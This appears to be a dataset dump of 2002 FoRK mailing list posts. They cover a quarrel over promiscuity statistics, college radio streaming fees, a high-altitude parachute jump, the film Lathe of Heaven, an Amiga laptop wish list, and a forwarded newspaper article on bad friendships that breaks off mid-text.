Mon, 9 Sep 2002, Eugen Leitl wrote: > On Sun, 8 Sep 2002, CDale wrote: > > > I agree w/ ya Tom. That kind of thinking is SO idiotic. Sure, gays > > So how many of your hetero friends had >3 k lovers? None. How many of my gay friends have had > 3k lovers? None. > > > are promiscuous, and so are hets, but I betcha gays are more > > AIDSphobic than hets, generally speaking.... > > The virus load issue is orthogonal to the fact. Bzzt. Switch on your > brain, you both. I was mentioning that a subpopulation outside of the sex > industry is/used to be extremely promiscuous, about two orders of > magnitude higher than average. two orders of magnitude higher than average isn't 3k, I don't think. Why don't ya give us a url or something that told you all this stuff? Or did you just pull it out of your ass? (: C",0,0 Lucas Gonze ,,"Mon, 9 Sep 2002 10:32:07 -0400 (EDT)",Re[2]: Selling Wedded Bliss (was Re: Ouch...),"> This is getting better and better. You know 3K is utter shite how? I'm not going to be your spokesman, Eugen. Figure it out yourself. over and out.",0,0 """Gordon Mohr"" ",,"Mon, 9 Sep 2002 08:16:53 -0700",Re: Re[3]: Selling Wedded Bliss (was Re: Ouch...),"Bitbitch writes: > Listen. If you pull numbers like that without a fact, the automagic > assumption is yes, they were extracted out of your neither orifice. > Point wasn't to conclude otherwise unless you had any relevant bits. > Its not my job to do _your_ bit searching for you, but I figured I'd > humor fork with this bit of finding: > > http://www.thebody.com/bp/apr01/research_notebook.html (Pointing ot > averages of about 13 for every 3 months (for gay men), which totals to > about 52 a year. 52 a year doesn't equal 3000. Or even 300. Er, that study would seem to lend credence to Eugen's estimations, rather than casting fresh doubts. 52 a year *does* exceed 300, in under 6 years' time. The average age of that study's participants was *39* -- meaning some participants may have had 20-25+ years of active sex life. At that age, and further ** HIV+ **, it seems reasonable to think that some the participants may have actually slowed their pace a bit. So while this study's summary info is incomplete, you could easily conclude that the *average* participant in this one study will have had over a thousand partners over a 40-50+ year active sex life, and so the even-more-active tails of the distribution could easily be in the 3000+ range. Of course this says very little, almost nothing, about the overall population behavior, gay or straight, and the relative prevalence of 3K+ individuals in either group. But it does strongly suggest that gay males with 3K+ partners exist in measurable numbers, so people should stop treating Eugen's anecdotal estimation as if it were sheer fantasy. BitBitch's own citation suggests otherwise. - Gordon",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Mon, 9 Sep 2002 09:09:47 -0400",[CYBERIA] [Final CfP]: Int. J. on IT Standards Research,"--- begin forwarded text Priority: normal Date: Mon, 9 Sep 2002 08:56:49 +0000 Reply-To: Law & Policy of Computer Communications Sender: Law & Policy of Computer Communications Comments: Authenticated sender is jakobs@i4mail.informatik.rwth-aachen.de From: Kai Jakobs Subject: [CYBERIA] [Final CfP]: Int. J. on IT Standards Research To: CYBERIA-L@LISTSERV.AOL.COM Hello, Just a brief reminder that the deadline for submisisons for issue 2 of the 'International Journal of IT Standards & Standardization Research' (JITSR) is October 1. JITSR is a new, multi-disciplinary publication outlet for everyone who is doing research into IT standards and standardisation (from whichever perspective). So if you think you've got a paper that might fit - why not submit it for JITSR? And please do ask if you need any further information. Greetings from Aachen. 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Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Chris Haun ,fork@spamassassin.taint.org,"Mon, 9 Sep 2002 11:55:16 -0400 (EDT)",Internet radio - example from a college station,"Just thought i'd pass this on, my favorite radio station in raleigh is going off the internet due to the new fees and restrictions associated with remaining online. this is from the station manager and describes the situation. ---------- Forwarded message ---------- Date: Tue, 3 Sep 2002 13:13:17 -0400 From: Arielle Subject: RE: KNC Stream [1:51144:51751] This message was sent from: WKNC Chat. ---------------------------------------------------------------- It does, but it's not the cost that is causing us to shut it down. The cost is a ""minimum $500 per year""... but that only accounts for 18 people streaming and playing like 13 or 14 songs an hour. But we could maybe manage the 2 cents per person, per 100 songs. The problem comes with the record keeping they mandate with webstreaming. Start and end times for every song (not too hard), artist (okay), title (okay), composers (a little harder), serial number (wtf??). I think there are a few more things they wanted, but honestly, programming this info in for every song that we play is ridiculous. This means we'd also have to get all the DJs to find this info and write it down any time they play a request, vinyl, or CDs not loaded into the computer. It's ridiculous and nearly impossible... We would need someone to sit in the studio 24/7 writing down all this info - which sometimes isn't available, like from earlier album that don't have serial numbers and barcodes. Then still if only the magic 18 people webstream our signal, the price would become quite exponential since we play on average 16 songs an hour, we'd be paying $22.11 everyday to stream to those 18 people. So really, it does have to do with the internet tax, but it is a few reasons together why we can't do it after their kill-date. :( ---------------------------------------------------------------- Sent using Phorum software version 3.2.6",0,1 ThosStew@aol.com,"gojomo@usa.net, fork@spamassassin.taint.org","Mon, 9 Sep 2002 12:06:48 EDT",Re: Re[3]: Selling Wedded Bliss (was Re: Ouch...),"Here are numbers that come from a study of a couple of thousand swedes, with no reference to sexual preference that I could find. The point would seem to be that (1) sexual activity follows a power curve, with a few people, a la Wilt Chamberlain, having an extaordinarily large number of sexual contacts, ev en in a short period of time and (2) a tendency for men to have more partners than women. I have no idea, being a statistical ignoramus, whether the fact that there seem to be more men than women at the extremely promiscuous end of the sex-partners-distribution curve means that you'd get even more extreme results in a group of men who chiefly have sex with other men. http://polymer.bu.edu/~amaral/Sex_partners/Content_sex.html <> As for gay men: There is indeed anecdotal evidence of cases of extreme promiscuity among gay men. You can read about it in Randy Schiltz's And the Band Played On. He writes about bathhouse culture pre-HIV; he also discusses how, in the gay politics of the time, there was a sub-culture of what you might call radical gay men who argued (and acted on the argument) that having many partners was an essential part of what being gay actually was. It was an explicitly political statement: monogamy is an artifact of straight culture. That view seems to have died, in more ways than one. Part of the point of Schiltz's book was to condemn the role that it and bathhouse culture played in spreading the AIDs epidemic that eventually killed Schiltz, among so many others. This doesn't let Eugen off the hook--but it is accurate to say that there was a cult of promiscuity that was particular to the gay community. Tom",0,1 Rodent of Unusual Size ,Chris Haun ,"Mon, 09 Sep 2002 12:29:51 -0400",Re: Internet radio - example from a college station,"Chris Haun wrote: > > We would need someone to sit in the studio 24/7 writing down all this info - > which sometimes isn't available, like from earlier album that don't have > serial numbers and barcodes. Then still if only the magic 18 people > webstream our signal, the price would become quite exponential since we play > on average 16 songs an hour, we'd be paying $22.11 everyday to stream to > those 18 people. So really, it does have to do with the internet tax, but it > is a few reasons together why we can't do it after their kill-date. :( Who is John Galt? (RoUS in the throes of reading Atlas Shrugged again) -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!""",0,1 """R. A. Hettinga"" ","""Gordon Mohr"" , ","Mon, 9 Sep 2002 13:18:54 -0400",Re: Re[3]: Selling Wedded Bliss (was Re: Ouch...),"At 8:16 AM -0700 on 9/9/02, Gordon Mohr wrote: > Of course this says very little, almost nothing, about the overall > population behavior, gay or straight, and the relative prevalence > of 3K+ individuals in either group. But it does strongly suggest > that gay males with 3K+ partners exist in measurable numbers, so > people should stop treating Eugen's anecdotal estimation as if it > were sheer fantasy. BitBitch's own citation suggests otherwise. That math stuff's, a, um, bitch, i'nit? ;-) Cheers, RAH [Who could care less who boinks whom, or for how much, though watching the Righteous Anger(tm) around here this morning *has* been amusing...] -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """John Hall"" ",,"Mon, 9 Sep 2002 11:01:22 -0700",RE: The Big Jump,"Why so fast? Normal terminal velocity is much slower. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > bitbitch@magnesium.net > Sent: Sunday, September 08, 2002 8:36 AM > To: (Robert Harley) > Cc: fork@spamassassin.taint.org > Subject: Re: The Big Jump > > > > So uh, would this qualify for the Darwin awards if he doesn't make it? > > Freaking french people... > :-) > -BB > RH> Today a French officer called Michel Fournier is supposed to get in a > RH> 350-metre tall helium balloon, ride it up to the edge of space (40 km > RH> altitude) and jump out. His fall should last 6.5 minutes and reach > RH> speeds of Mach 1.5. He hopes to open his parachute manually at the > RH> end, although with an automatic backup if he is 7 seconds from the > RH> ground and still hasn't opened it. > > RH> R > > RH> ObQuote: > RH> ""Veder, si aver si grossi li coglioni, come ha il re di Franza."" > RH> (""Let's see if I've got as much balls as the King of France!"") > RH> - Pope Julius II, 2 January 1511 > > > > -- > Best regards, > bitbitch mailto:bitbitch@magnesium.net",0,0 """John Hall"" ","""FoRK"" ","Mon, 9 Sep 2002 11:02:49 -0700",RE: Recommended Viewing,"Isn't this the story where someone's ""Dream"" has the ability to change reality -- then you find the whole world is their dream? > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Geege > Schuman > Sent: Monday, September 09, 2002 4:26 AM > To: John Evdemon > Cc: fork@spamassassin.taint.org > Subject: RE: Recommended Viewing > > Agreed, completely. I totally grokked the notion of unintened consequence > with the original. > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John > Evdemon > Sent: Monday, September 09, 2002 7:03 AM > To: Fork@xent.com > Subject: Re: Recommended Viewing > > > On 8 Sep 2002 at 22:15, Geege Schuman wrote: > > > who watched Lathe of Heaven? (A&E, 8 pm EDT) who has seen > > the original? > > > By ""original"" if you are referring to the old PBS version, I liked that > version much better. Much more thought provoking. > > >",0,0 Owen Byrne ,johnhall@evergo.net,"Mon, 09 Sep 2002 15:20:18 -0300",Re: The Big Jump,"John Hall wrote: >Why so fast? Normal terminal velocity is much slower. > > Not at 40,000 m. I found this article (http://www.wired.com/news/print/0,1294,53928,00.html) : ""The last person to try to break the highest free fall record died in the attempt. In 1965, New Jersey truck driver Nick Piantanida suffered catastrophic equipment failure when his facemask blew out at 57,000 feet. Lack of oxygen caused such severe brain damage that he went into a coma and died four months later."" And in amongst the flash at http://www.legrandsaut.org/site_en/ you can discover that he will break the sound barrier at 35,000 m, presumably reaching top speed somewhere above 30,000. Owen > > >>-----Original Message----- >>From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of >>bitbitch@magnesium.net >>Sent: Sunday, September 08, 2002 8:36 AM >>To: (Robert Harley) >>Cc: fork@spamassassin.taint.org >>Subject: Re: The Big Jump >> >> >> >>So uh, would this qualify for the Darwin awards if he doesn't make it? >> >>Freaking french people... >> :-) >>-BB >>RH> Today a French officer called Michel Fournier is supposed to get >> >> >in a > > >>RH> 350-metre tall helium balloon, ride it up to the edge of space (40 >> >> >km > > >>RH> altitude) and jump out. His fall should last 6.5 minutes and >> >> >reach > > >>RH> speeds of Mach 1.5. He hopes to open his parachute manually at >> >> >the > > >>RH> end, although with an automatic backup if he is 7 seconds from the >>RH> ground and still hasn't opened it. >> >>RH> R >> >>RH> ObQuote: >>RH> ""Veder, si aver si grossi li coglioni, come ha il re di >> >> >Franza."" > > >>RH> (""Let's see if I've got as much balls as the King of France!"") >>RH> - Pope Julius II, 2 January 1511 >> >> >> >>-- >>Best regards, >> bitbitch mailto:bitbitch@magnesium.net >> >> > > > >",0,1 Ned Jackson Lovely ,fork@spamassassin.taint.org,"Mon, 9 Sep 2002 20:46:17 -0400",Re: The Big Jump,"On Mon, Sep 09, 2002 at 11:01:22AM -0700, John Hall wrote: > Why so fast? Normal terminal velocity is much slower. Terminal velocity can be calculated by $v_{T} = \sqrt{\frac{2mg}{CpA}}$ where C is an experimentally determined coefficient, p is the density of the air, and A is the area of the object. These calculations only work if the object is blunt and the airflow is turbulent, blah blah blah. Terminal velocity for a skydiver actually varies with how the diver holds themselves -- you go faster if you pull yourself into a cannonball. That is the ""A"", for the most part. All else being equal, the terminal velocity is inversely proportional to the square root of air density. Air density drops off pretty quickly, and I really should be doing something other than digging up the math for that. I think it involves calculus to integrate the amount of mass as the column of the atmosphere trails off. I grabbed the other stuff directly out of a book :). In '87 a guy named Gregory Robertson noticed a fellow parachutist Debbie Williams had been knocked unconscious. He shifted so that he was head down, hit about 200 mi/h, and caught up with her and pulled her chute with 10 seconds to spare. -- njl",0,0 """Geege Schuman"" ",", ""FoRK"" ","Mon, 9 Sep 2002 21:51:44 -0400",RE: Recommended Viewing,"more accurately: someone's dream changes reality for everyone, and everyone's memory adjusts to perceive the new realities as a continuum, replete with new pasts and new memories. ever have dreams that ""create"" their own history to make their irrealities plausible and authentic feeling? ever notice how the feelings evoked in some dreams stick with you all day? i'm sure it's some neurochemical process initiated during the dream that is still cycling thru - like a deja vu, triggered by memory processes, where you don't actually remember but you feel like you're remembering. ggggggggg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John Hall Sent: Monday, September 09, 2002 2:03 PM To: FoRK Subject: RE: Recommended Viewing Isn't this the story where someone's ""Dream"" has the ability to change reality -- then you find the whole world is their dream? > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Geege > Schuman > Sent: Monday, September 09, 2002 4:26 AM > To: John Evdemon > Cc: fork@spamassassin.taint.org > Subject: RE: Recommended Viewing > > Agreed, completely. I totally grokked the notion of unintened consequence > with the original. > > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John > Evdemon > Sent: Monday, September 09, 2002 7:03 AM > To: Fork@xent.com > Subject: Re: Recommended Viewing > > > On 8 Sep 2002 at 22:15, Geege Schuman wrote: > > > who watched Lathe of Heaven? (A&E, 8 pm EDT) who has seen > > the original? > > > By ""original"" if you are referring to the old PBS version, I liked that > version much better. Much more thought provoking. > > >",0,0 Eirikur Hallgrimsson ,"""FoRK"" ","Mon, 9 Sep 2002 22:06:33 -0400",Re: Recommended Viewing,"On Monday 09 September 2002 09:51 pm, Geege Schuman wrote > ever notice how the feelings evoked in some dreams stick with you all > day?i'm sure it's some neurochemical process initiated during the dream > that is still cycling thru - like a deja vu, triggered by memory > processes, where > you don't actually remember but you feel like you're > remembering. Absolutely, and I've wanted to recapture it. I've done some writing based on dreams, and there is a mysterious ""mood"" to that feeling that drives some creative stuff for me. I've never tried to write music in that state, but I will next time. Eirikur",0,0 CDale ,Eirikur Hallgrimsson ,"Mon, 9 Sep 2002 21:27:27 -0500 (CDT)",Re: Recommended Viewing,"Any of your writing online anywhere? Would love to take a look. I was plagued with night terrors for years and tried to capture that feeling after waking up (if you want to call that waking up), but was never able to... Cindy On Mon, 9 Sep 2002, Eirikur Hallgrimsson wrote: > On Monday 09 September 2002 09:51 pm, Geege Schuman wrote > > ever notice how the feelings evoked in some dreams stick with you all > > day?i'm sure it's some neurochemical process initiated during the dream > > that is still cycling thru - like a deja vu, triggered by memory > > processes, where > you don't actually remember but you feel like you're > > remembering. > > Absolutely, and I've wanted to recapture it. I've done some writing based > on dreams, and there is a mysterious ""mood"" to that feeling that drives > some creative stuff for me. I've never tried to write music in that > state, but I will next time. > > Eirikur > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 Gary Lawrence Murphy ,"""Geege Schuman"" ",09 Sep 2002 23:16:01 -0400,Re: Recommended Viewing,">>>>> ""G"" == Geege Schuman writes: G> ... i'm sure it's some neurochemical process initiated during G> the dream that is still cycling thru - like a deja vu, G> triggered by memory processes, where you don't actually G> remember but you feel like you're remembering. That's very perceptive of you. Many people are not so willing to accept their personal reality as skewed by their neuro-physiology. A great many popular con games exist by exploiting the perceptions of these states. Another oft-exploited neuro-plausibility: The brain is a pretty darn fine analog associative computer, so it could be the neurochemical events during the dream have associated themselves with some inner or external cue to mentally _recreate_ the state-perception like the predictable tone on striking a bell. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 Gary Lawrence Murphy ,Eirikur Hallgrimsson ,09 Sep 2002 23:21:19 -0400,Re: Recommended Viewing,">>>>> ""E"" == Eirikur Hallgrimsson writes: E> Absolutely, and I've wanted to recapture it. I don't know about this /particular/ mood, but I have used neuro-conditioning with aiding children in stressful life-circumstances. Basically, you somehow evoke the state you want, and when you get it, you do something odd, anything at all will do, but I used a gentle ""vulcan grip"" on their shoulder. Later, when faced with the uncomfortable situation, you can retrieve /part/ of that earlier more desireable state by giving them the pinch; it's not perfect (like you get with simpler brains) but it is an inescapable effect. This is probably the neuro-effect that leads to performance-enhancing superstitions such as Bob Dylan not performing without his favourite jean jacket: Because it provides the cue to a more relaxed mental state, he really does play better with it than without it. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 Steve Nordquist ,interested@amiga.com,"Mon, 9 Sep 2002 06:35:54 -0500",UAE/Ami*/Linux Laptop: Important details.,"Well, for one, it would free up the similar laptop I already got to just run Amithlon (or if that wasn't so fun, bsd) to run just OpenBSD! This is a near-term thing I could look forward to! However, an 'official' laptop seems unexciting to me with only the items mentioned. Most important are the particulars distinguishing the listed spec from a Dell 2650, preferably: 1- GeForce4 440 Go or newer, pleasingly modern GPU; the GeForce2Go (with 16MB video RAM; too little) I have is not so much too slow as inefficient; with factory settings it would actually crash from running too hot and too fast. (Accelerating the Ami* and possibly OpenUAE graphics is a necessity to meet for good speed in those environments, but an energy-efficient GPU is a good sideeffect and portability (read: battery lifetime) enabler.) 1.5- Great control over CPU state; by use of 'internet keys' wired to BIOS/bhipset routines directly or preferably a scroll wheel. Also, hibernate that works, please. 1.7- Bootable to USB 2.0 drives (e.g. larger external ones) in BIOS, please. 2- P4 Dells overheat. They have a big heatsink and a little fan to pull air through it, and if you don't elevate thelaptop off the desk or table or bed it's on, the fan will -stay- on. Not good for MTBS (mean time between service; unless you've got an angle on making money on service from Amigans.....) One excellent solution is to include a heatpipe which runs behind the AMLCD, thus using the backside of the display half as a radiator.; though it interferes with the case notion below. (yes, Aavid or such makes some as a standard part.) I prefer to include the heatpipe but employ the radiative mass in elevating the laptop (i.e. in the form of a catch-handle and second logo device behind the laptop, which generally provides stow and attachment for elevation legs (move them out farther to get to the next-higher ekevation, until the sides of the laptop are met.) This also happens to provide a little protection for USB 2 and 1394 cables that I tend to keep plugged in all the time (a bit longer port life? Please.) 3- A case color other than brown or black, and preferably (if the display module NRE is entirely permissive) the capability to -run with the backlight off.- Again, to save battery power, but also as a feature; maybe you remember the iBooks modified in this manner. The user has the privilege to pull out the backlight diffuser and fiberoptic lightpipe/CF assembly, with its backreflector, and the whole warrantee. This provides for excellent outdoor use, often with the diffuser reinserted to keep depth-of-field distractions minimised. What would I like? A1200 putty color, any translucency, in or over a rosewood-colored (in KDE color browser, I see chocolate, firebrick and a couple of 'indian red' that are great candidates) base. I would also like to be able to at least turn off the backlight without closing the lid, and to be -able- to fit an -external- light source such as a UV-filtered solar collector (and glare hood) to feed into the backlight. Not only does this make an excellent color environment but lets one work outdoors tolerably. The logo should be a coloration of a minimal surface, as the MAA is trying to get me to renew with: demos at http://astronomy.swin.edu.au/pbourke/geometry/ at first blush. We'll see what comes out of the contest and maybe you'll like the mapping MathCAD does of the logo to a minimal surface or manifold that reflects the openness of AmigaOS, Ami* and Amiga community. MAA.org has more references, I'm sure. 4- Obviously Elfin details., e,g, the backlight inlet. Other details: USB2.x preferred; FireWire would be needed if that's unavailable. Options like 802.11b or attabhable WiFi hub for ethernet port should round out the offering. An option for just-released .13 micron P4 (with mobile power features) could make more reviewers greenlight the series; much better power consumption, and almost certainly a higher a top clock come with that. CompactFlash, SmartMedia and MMC flash memory card interfaces would be very pleasant. I've mentioned booting to USB, and booting from CF would be a pleasant extigency also. To that end, a backup solution with compression using USB 2 storage or the multimode drive is always a nice bundle item; that or a chance to back out a patch under 3 OS..... Blue skies (and clear water and fresh air): Waterproof to 30 feet, 3 Ethernet ports plus onboard WiFi. Svelte; 3-line frontpanel LCD and bright red pager LED, builtin G4 cellphone functions, choice of side and frontpanel trim: Ivory-like stuff inscribed with M68k memory map and various OS 3.9 structures or textured fur that says 'This is Amiga Speaking' when stroked 'round. Decent keyboard, as in Toshiba or IBM laptops; perhaps an ergonomic fingerworks.com device (they work as keyboard and mouse) as the keyboard/trackpad. 2 Directional planar mics atop AMLCD; soundcard with multiple 18 bit A-D and noise reduction DSP that work in our (second-through-fourth, at least) favorite OS. Actual 7"" bellows pulls out at nominal ventilation fan location for real void-comp (the test in Blade Runner) style cooling and extended bass; active cooling and airfiltering is available to adjust humidity at user seat and provide mineral water. HyperTransport ports.",0,1 Eugen Leitl ,Ned Jackson Lovely ,"Tue, 10 Sep 2002 07:07:41 +0200 (CEST)",Re: The Big Jump,"On Mon, 9 Sep 2002, Ned Jackson Lovely wrote: > In '87 a guy named Gregory Robertson noticed a fellow parachutist Debbie > Williams had been knocked unconscious. He shifted so that he was head down, > hit about 200 mi/h, and caught up with her and pulled her chute with 10 seconds > to spare. IIRC it's ~180 km/s spreadeagled and ~210 km/h head-down.",0,0 """Geege Schuman"" ","""Gary Lawrence Murphy"" ,","Tue, 10 Sep 2002 07:13:08 -0400",RE: Recommended Viewing,"you meant ""SURPRISINGLY perceptive,"" didn't you? :-) recent exceptionally vivid and strange dreams lead me to believe i'm sparking synapses that have lain dormant lo these many years. Lots of problem solving going on up there at night. -----Original Message----- From: garym@maya.dyndns.org [mailto:garym@maya.dyndns.org]On Behalf Of Gary Lawrence Murphy Sent: Monday, September 09, 2002 11:16 PM To: Geege Schuman Cc: johnhall@evergo.net; FoRK Subject: Re: Recommended Viewing >>>>> ""G"" == Geege Schuman writes: G> ... i'm sure it's some neurochemical process initiated during G> the dream that is still cycling thru - like a deja vu, G> triggered by memory processes, where you don't actually G> remember but you feel like you're remembering. That's very perceptive of you. Many people are not so willing to accept their personal reality as skewed by their neuro-physiology. A great many popular con games exist by exploiting the perceptions of these states. Another oft-exploited neuro-plausibility: The brain is a pretty darn fine analog associative computer, so it could be the neurochemical events during the dream have associated themselves with some inner or external cue to mentally _recreate_ the state-perception like the predictable tone on striking a bell. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Tue, 10 Sep 2002 15:29:51 +0200 (CEST)",Re: Selling Wedded Bliss (was Re: Ouch...),"Gordon Mohr: >It was clear you were talking about averages. But it should >be equally clear that that isn't what people mean when they >use the word ""promiscuity"". Sigh. This sprung out of a report linked by Cindy about the promiscuity of female monkeys with males other than the alpha male, i.e, specifically not the tail end of the distribution. ""By mating with as many extra-group males as possible, female langurs ensure [etc.]"" >OK, then. Consider a population of 1,000,000. 500,000 men each >pair off with 500,000 women. Then, 1 man, let's call him ""Wilt"", >also has sex with the other 499,999 women This has never happened. Its relevance is nil. >Averages are useful, sure -- but much more so if called by their >actual name, rather than conflated with another concept. So I chose not to type ""on average"" explicitly in my post, since this is FoRK and one tends to assume that people have a clue. There is no disagreement between us, except that I am more interested in typical behaviour and you in extreme. Actually, you probably just had a bad day and felt like jumping down my throat for the hell of it. EOT, AFAIC. R",0,0 Gary Lawrence Murphy ,"""Geege Schuman"" ",10 Sep 2002 10:13:50 -0400,Re: Recommended Viewing,">>>>> ""G"" == Geege Schuman writes: G> you meant ""SURPRISINGLY perceptive,"" didn't you? :-) Of course, dear. Especially without zazen training. Veritably Operational Thetan-like. G> recent exceptionally vivid and strange dreams lead me to G> believe i'm sparking synapses that have lain dormant lo these G> many years. Lots of problem solving going on up there at G> night. It's a myth that we don't use parts of our brain. We use it all, always. It's just that our culturally-induced focal-point causes most of us to most of the time ignore and waste 99.999% of it. ""Lucid"" is a measure of notch-filter bandwidth; all stations are broadcasting, but we only /choose/ Easy Rock 105. For example, don't look now but your shoes are full of feet. The sensation of toes the above statement evokes is not a ""turning on"" of circuits, it is a ""tuning in"". The next step, of course, is to ""drop out"" :) To paraphrase an old saw: Life is wasted on the living. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 Tom ,Gary Lawrence Murphy ,"Tue, 10 Sep 2002 12:32:56 -0400 (EDT)",Re: Recommended Viewing,"On 10 Sep 2002, Gary Lawrence Murphy wrote: --]It's a myth that we don't use parts of our brain. We use it all, --]always. It's just that our culturally-induced focal-point causes most --]of us to most of the time ignore and waste 99.999% of it. ""Lucid"" is --]a measure of notch-filter bandwidth; all stations are broadcasting, --]but we only /choose/ Easy Rock 105. --] --]For example, don't look now but your shoes are full of feet. Nice imagery. When the filters come down ( choose your method)it is very much the case. Not only are your shoes full of toes, but your toes are full of bones, blood , muscle and toejam. All these things are evident...unless you got your filters up. Life, the ultimate spam:)- -tom",0,0 Dave Long ,fork@spamassassin.taint.org,"Tue, 10 Sep 2002 11:21:56 -0700",Re: Tech's Major Decline,"I'm not sure which way to make the old bits call on this: [A] was posted well after [B] was in the archives, but then again, [B] didn't bother with any commentary (new bits). If you two can agree upon who was at fault, penance will be to explain how feedback phase is affected by time lags, and tie that in to the spontaneous generation of ""business cycles"" in the Beer Game. * -Dave * see also: Explaining Capacity Overshoot and Price War: Misperceptions of Feedback in Competitive Growth Markets in which the scenario 4 (margin oriented tit for tat) seems close to the strategy described in: ""game theoretical gandhi / more laptops""",0,1 khare@alumni.caltech.edu,fork@spamassassin.taint.org,"Tue, 10 Sep 2002 15:06:36 -0400 (EDT)","NYTimes.com Article: Some Friends, Indeed, Do More Harm Than Good","This article from NYTimes.com has been sent to you by khare@alumni.caltech.edu. Sure does explain FoRK :-) not yet abandoned, Rohit khare@alumni.caltech.edu Some Friends, Indeed, Do More Harm Than Good September 10, 2002 By MARY DUENWALD Friends are supposed to be good for you. In recent years, scientific research has suggested that people who have strong friendships experience less stress, they recover more quickly from heart attacks and they are likely to live longer than the friendless. They are even less susceptible to the common cold, studies show. But not all friends have such a salutary effect. Some lie, insult and betray. Some are overly needy. Some give too much advice. Psychologists and sociologists are now calling attention to the negative health effects of bad friends. ""Friendship is often very painful,"" said Dr. Harriet Lerner, a psychologist and the author of ""The Dance of Connection."" ""In a close, enduring friendship, jealousy, envy, anger and the entire range of difficult emotions will rear their heads. One has to decide whether the best thing is to consider it a phase in a long friendship or say this is bad for my health and I'm disbanding it."" Another book, ""When Friendship Hurts,"" by Dr. Jan Yager, a sociologist at the University of Connecticut at Stamford, advises deliberately leaving bad friends by the wayside. ""There's this myth that friendships should last a lifetime,"" Dr. Yager said. ""But sometimes it's better that they end."" That social scientists would wait until now to spotlight the dangers of bad friends is understandable, considering that they have only recently paid close attention to friendship at all. Marriage and family relationships - between siblings or parents and children - have been seen as more important. Of course, troubled friendships are far less likely to lead to depression or suicide than troubled marriages are. And children are seldom seriously affected when friendships go bad. As a popular author of relationship advice books, Dr. Lerner said, ""Never once have I had anyone write and say my best friend hits me."" Dr. Beverley Fehr, a professor of psychology at the University of Winnipeg, noted that sociological changes, like a 50 percent divorce rate, have added weight to the role of friends in emotional and physical health. ""Now that a marital relationship can't be counted on for stability the way it was in the past, and because people are less likely to be living with or near extended family members, people are shifting their focus to friendships as a way of building community and finding intimacy,"" said Dr. Fehr, the author of ""Friendship Processes."" Until the past couple of years, the research on friendship focused on its health benefits. ""Now we're starting to look at it as a more full relationship,"" said Dr. Suzanna Rose, a professor of psychology at Florida International University in Miami. ""Like marriage, friendship also has negative characteristics."" The research is in its infancy. Psychologists have not yet measured the ill effects of bad friendship, Dr. Fehr said. So far they have only, through surveys and interviews, figured out that it is a significant problem. The early research, Dr. Fehr added, is showing that betrayal by a friend can be more devastating than experts had thought. How can a friend be bad? Most obviously, Dr. Rose said, by drawing a person into criminal or otherwise ill-advised pursuit. ""When you think of people who were friends at Enron,"" she added, ""you can see how friendship can support antisocial behavior."" Betrayal also makes for a bad friendship. ""When friends split up,"" said Dr. Keith E. Davis, a professor of psychology at the University of South Carolina, ""it is often in cases where one has shared personal information or secrets that the other one wanted to be kept confidential."" Another form of betrayal, Dr. Yager said, is when a friend suddenly turns cold, without ever explaining why. ""It's more than just pulling away,"" she said. ""The silent treatment is actually malicious."" At least as devastating is an affair with the friend's romantic partner, as recently happened to one of Dr. Lerner's patients. ""I would not encourage her to hang in there and work this one out,"" Dr. Lerner said. A third type of bad friendship involves someone who insults the other person, Dr. Yager said. One of the 180 people who responded to Dr. Yager's most recent survey on friendship described how, when she was 11, her best friend called her ""a derogatory name."" The woman, now 32, was so devastated that she feels she has been unable to be fully open with people ever since, Dr. Yager said. Emotional abuse may be less noticeable than verbal abuse, but it is ""more insidious,"" Dr. Yager said. ""Some people constantly set up their friends,"" she explained. ""They'll have a party, not invite the friend, but make sure he or she finds out."" Risk takers, betrayers and abusers are the most extreme kinds of bad friends, Dr. Yager said, but they are not the only ones. She identifies 21 different varieties. Occupying the second tier of badness are the liar, the person who is overly dependent, the friend who never listens, the person who meddles too much in a friend's life, the competitor and the loner, who prefers not to spend time with friends. Most common is the promise breaker. ""This includes everyone from the person who says let's have a cup of coffee but something always comes up at the last minute to someone who promises to be there for you when you need them, but then isn't,"" Dr. Yager said. Some friendships go bad, as some romantic relationships do, when one of the people gradually or suddenly finds reasons to dislike the other one. ""With couples, it can take 18 to 24 months for someone to discover there's something important they don't like about the other person,"" said Dr. Rose of Florida International. ""One might find, for example, that in subtle ways the other person is a racist. In friendships, which are less intense, it may take even more time for one person to meet the other's dislike criteria."" Whether a friendship is worth saving, Dr. Lerner said, ""depends on how large the injury is."" ""Sometimes the mature thing is to lighten up and let something go,"" she added. ""It's also an act of maturity sometimes to accept another person's limitations."" Acceptance should come easier among friends than among spouses, Dr. Lerner said, because people have more than one friend and do not need a full range of emotional support from each one. But if the friendship has 